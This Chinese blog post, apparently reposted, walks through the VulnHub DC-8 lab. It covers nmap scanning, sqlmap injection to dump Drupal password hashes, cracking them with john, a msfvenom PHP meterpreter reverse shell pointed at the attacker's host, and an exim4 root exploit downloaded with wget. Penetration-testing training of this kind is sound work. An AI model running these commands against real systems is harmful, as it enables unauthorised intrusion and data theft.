VulnHub靶机 DC-8 打靶实战 详细渗透过程

2024-04-24 09:20

本文主要是介绍VulnHub靶机 DC-8 打靶实战 详细渗透过程,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

VulnHub靶机 DC-8 打靶 详细渗透过程

目录

  • VulnHub靶机 DC-8 打靶 详细渗透过程
    • 一、将靶机配置导入到虚拟机当中
    • 二、渗透测试流程
      • 主机发现
      • 端口扫描
      • Web渗透
        • SQL注入
        • 登录后台
        • 反弹shell
        • 提权

一、将靶机配置导入到虚拟机当中

靶机地址:

https://www.vulnhub.com/entry/dc-8,367/

image-20240423222428354

二、渗透测试流程

主机发现

使用arp-scan命令或者nmap命令进行主机发现

arp-scan -l

image-20240423223107919

端口扫描

nmap -p- 192.168.0.105

image-20240423223230955

开放了80端口和22端口,详细探测一下服务信息

nmap -p80 -sV -A 192.168.0.105

image-20240423223412730

探测一下指纹信息:

whatweb http://192.168.0.105

image-20240423223453030

Web渗透

SQL注入

访问web界面,通过上述信息收集加插件,得到以下信息,采用Drupal CMS,版本为Drupal 7

image-20240423223620216

点击左侧,发现url当中出现id参数变化,尝试sql注入

url:http://192.168.0.105/?nid=1

image-20240423223824333

sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba --batch --dbs

image-20240423224112264

当前数据库d7db,但不是dba

image-20240423224132681

查看数据库当中的表信息,还有表中的内容

//爆数据表
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db --tables
//查看表中数据字段
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db -T users --columns
//爆字段数据
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db -T users -C "name,pass" --dump

d7db数据库当中的users数据表

image-20240423224347637

d7db数据库当中的users数据表,查看表中字段内容

image-20240423224513567

成功查询用户名和密码,将密码保存到记事本当中进行破解

image-20240423224609984

登录后台

根据用户名当中提示信息john,使用john进行hash密码破解

将密码保存到文本文件当中,john破解即可

image-20240423231749154

john 1.txt
//admin破解失败,john破解成功
//用户名和密码
john
turtle 
dirsearch -u http://192.168.0.105/ -i 200

通过目录爆破后,成功找到后台并进入

image-20240423230422657

成功进入后台

image-20240423231920692

反弹shell

找到可代码执行的地方,或者可以输入代码的地方,尝试输入,保存即可。

这里还可以使用msf生成php反弹shell脚本,放入其中

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=8888 -f raw

将代码放入其中

image-20240423233442210

image-20240423234717871

然后返回提交以后才能执行代码,msf开启监听即可接受到shell

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8888
exploit

image-20240423233920492

成功接收shell,www-data普通权限

image-20240423234416644

获取稳定shell,查看目录下有无有价值信息,发现没有

python -c "import pty;pty.spawn('/bin/bash')"

image-20240423234905116

提权

查找系统下suid权限的命令

find / -perm -u=s -type f 2>/dev/null

image-20240423235020352

查看一下exim4版本信息

image-20240423235700466

搜索相关漏洞,进行利用

searchsploit exim 4

找到版本相近的问题

image-20240423235753917

将其拷贝到本地,发现靶机有wget命令,那么可以通过wget进行下载,本地通过python开启一个http服务

//拷贝脚本
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /opt/exp.sh
//本地开启http服务
python -m http.server 8080

image-20240424000040857

到靶机端进行下载exp.sh即可

wget http://192.168.0.106:8080/exp.sh

image-20240424000153773

image-20240424000211403

赋予执行权限,执行一下

chmod 755 exp.sh
./exp.sh
或bash exp.sh

image-20240424000345193

查看源码,需要带参数

image-20240424000810975

image-20240424000716975

或者我们直接敲上 -h查看帮助的参数

./exp.sh -h

发现得加参数,依次尝试即可

image-20240424000432623

./exp.sh -m setuid 失败
./exp.sh -m netcat

./exp.sh -m netcat 成功提权

image-20240424000529168

image-20240424000617527

思路:

主机发现—端口扫描—服务探针—指纹识别—发现注入点—web渗透SQL注入—获取用户名密码—登入后台—发现可加载PHP代码输入PHP代码—反弹shell—提权—exim4漏洞利用

文章不妥之处,欢迎批评指正!!!

这篇关于VulnHub靶机 DC-8 打靶实战 详细渗透过程的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/931353

相关文章

线上Java OOM问题定位与解决方案超详细解析

《线上JavaOOM问题定位与解决方案超详细解析》OOM是JVM抛出的错误,表示内存分配失败,:本文主要介绍线上JavaOOM问题定位与解决方案的相关资料,文中通过代码介绍的非常详细,需要的朋... 目录一、OOM问题核心认知1.1 OOM定义与技术定位1.2 OOM常见类型及技术特征二、OOM问题定位工具

基于 Cursor 开发 Spring Boot 项目详细攻略

《基于Cursor开发SpringBoot项目详细攻略》Cursor是集成GPT4、Claude3.5等LLM的VSCode类AI编程工具,支持SpringBoot项目开发全流程,涵盖环境配... 目录cursor是什么?基于 Cursor 开发 Spring Boot 项目完整指南1. 环境准备2. 创建

MyBatis分页查询实战案例完整流程

《MyBatis分页查询实战案例完整流程》MyBatis是一个强大的Java持久层框架,支持自定义SQL和高级映射,本案例以员工工资信息管理为例,详细讲解如何在IDEA中使用MyBatis结合Page... 目录1. MyBATis框架简介2. 分页查询原理与应用场景2.1 分页查询的基本原理2.1.1 分

oracle 11g导入\导出(expdp impdp)之导入过程

《oracle11g导入导出(expdpimpdp)之导入过程》导出需使用SEC.DMP格式,无分号;建立expdir目录(E:/exp)并确保存在;导入在cmd下执行,需sys用户权限;若需修... 目录准备文件导入(impdp)1、建立directory2、导入语句 3、更改密码总结上一个环节,我们讲了

使用Python批量将.ncm格式的音频文件转换为.mp3格式的实战详解

《使用Python批量将.ncm格式的音频文件转换为.mp3格式的实战详解》本文详细介绍了如何使用Python通过ncmdump工具批量将.ncm音频转换为.mp3的步骤,包括安装、配置ffmpeg环... 目录1. 前言2. 安装 ncmdump3. 实现 .ncm 转 .mp34. 执行过程5. 执行结

SpringBoot 多环境开发实战(从配置、管理与控制)

《SpringBoot多环境开发实战(从配置、管理与控制)》本文详解SpringBoot多环境配置,涵盖单文件YAML、多文件模式、MavenProfile分组及激活策略,通过优先级控制灵活切换环境... 目录一、多环境开发基础(单文件 YAML 版)(一)配置原理与优势(二)实操示例二、多环境开发多文件版

ShardingProxy读写分离之原理、配置与实践过程

《ShardingProxy读写分离之原理、配置与实践过程》ShardingProxy是ApacheShardingSphere的数据库中间件,通过三层架构实现读写分离,解决高并发场景下数据库性能瓶... 目录一、ShardingProxy技术定位与读写分离核心价值1.1 技术定位1.2 读写分离核心价值二

MyBatis-plus处理存储json数据过程

《MyBatis-plus处理存储json数据过程》文章介绍MyBatis-Plus3.4.21处理对象与集合的差异:对象可用内置Handler配合autoResultMap,集合需自定义处理器继承F... 目录1、如果是对象2、如果需要转换的是List集合总结对象和集合分两种情况处理,目前我用的MP的版本

Three.js构建一个 3D 商品展示空间完整实战项目

《Three.js构建一个3D商品展示空间完整实战项目》Three.js是一个强大的JavaScript库,专用于在Web浏览器中创建3D图形,:本文主要介绍Three.js构建一个3D商品展... 目录引言项目核心技术1. 项目架构与资源组织2. 多模型切换、交互热点绑定3. 移动端适配与帧率优化4. 可

Python与MySQL实现数据库实时同步的详细步骤

《Python与MySQL实现数据库实时同步的详细步骤》在日常开发中,数据同步是一项常见的需求,本篇文章将使用Python和MySQL来实现数据库实时同步,我们将围绕数据变更捕获、数据处理和数据写入这... 目录前言摘要概述:数据同步方案1. 基本思路2. mysql Binlog 简介实现步骤与代码示例1